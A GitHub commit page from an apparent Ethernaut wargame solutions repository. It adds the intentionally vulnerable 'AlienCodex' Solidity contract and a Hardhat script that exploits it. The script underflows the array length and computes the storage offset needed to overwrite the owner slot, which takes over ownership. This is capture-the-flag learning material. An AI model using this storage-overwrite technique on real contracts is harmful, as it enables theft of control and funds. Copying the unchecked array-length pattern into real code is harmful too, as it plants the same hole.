Skip to content

Commit

Permalink
Challenge 19: Alien codex
Browse files Browse the repository at this point in the history
  • Loading branch information
antico5 committed Feb 3, 2022
1 parent 19104cb commit a562453
Show file tree
Hide file tree
Showing 3 changed files with 144 additions and 0 deletions.
96 changes: 96 additions & 0 deletions ethernaut_challenges/contracts/19_AlienCodex.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

contract Ownable {
address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
}

/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}

/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}

/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}

/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}

/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}

contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}

function arrayLength() public view returns (uint) {
return codex.length;
}
}
10 changes: 10 additions & 0 deletions ethernaut_challenges/hardhat.config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -45,6 +45,16 @@ export default {
},
},
},
{
version: '0.5.0',
settings: {
outputSelection: {
'*': {
'*': ['storageLayout', 'evm.bytecode.opcodes'],
},
},
},
},
],
},
networks: {
Expand Down
38 changes: 38 additions & 0 deletions ethernaut_challenges/scripts/19_alien_codex.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
import { Signer } from 'ethers'
import { ethers } from 'hardhat'
import { AlienCodex } from '../typechain-types/AlienCodex'
import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut'

const levelAddress = '0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272'

const main = async () => {
const signer = (await ethers.getSigners())[0] as Signer

const targetContract = (await loadOrCreateLevelInstance('AlienCodex', levelAddress, signer)) as AlienCodex

// Trivial call
await (await targetContract.make_contact()).wait()

// Underflow array length
await (await targetContract.retract()).wait()

// Calculate position of first element
const arrayStartPosition = ethers.BigNumber.from(ethers.utils.keccak256(ethers.utils.zeroPad('0x01', 32)))

// Calculate how much to add to overflow and overwrite first storage slot (owner)
const difference = ethers.constants.MaxUint256.sub(arrayStartPosition).add(1)

// Overwrite owner slot
const tx = await targetContract.revise(difference, ethers.utils.zeroPad(await signer.getAddress(), 32))
console.log('tx hash', tx.hash)
await tx.wait()

await submitLevelInstance(targetContract.address, signer)
}

main()
.then(() => process.exit())
.catch(e => {
console.error(e)
process.exit(1)
})

0 comments on commit a562453

Please sign in to comment.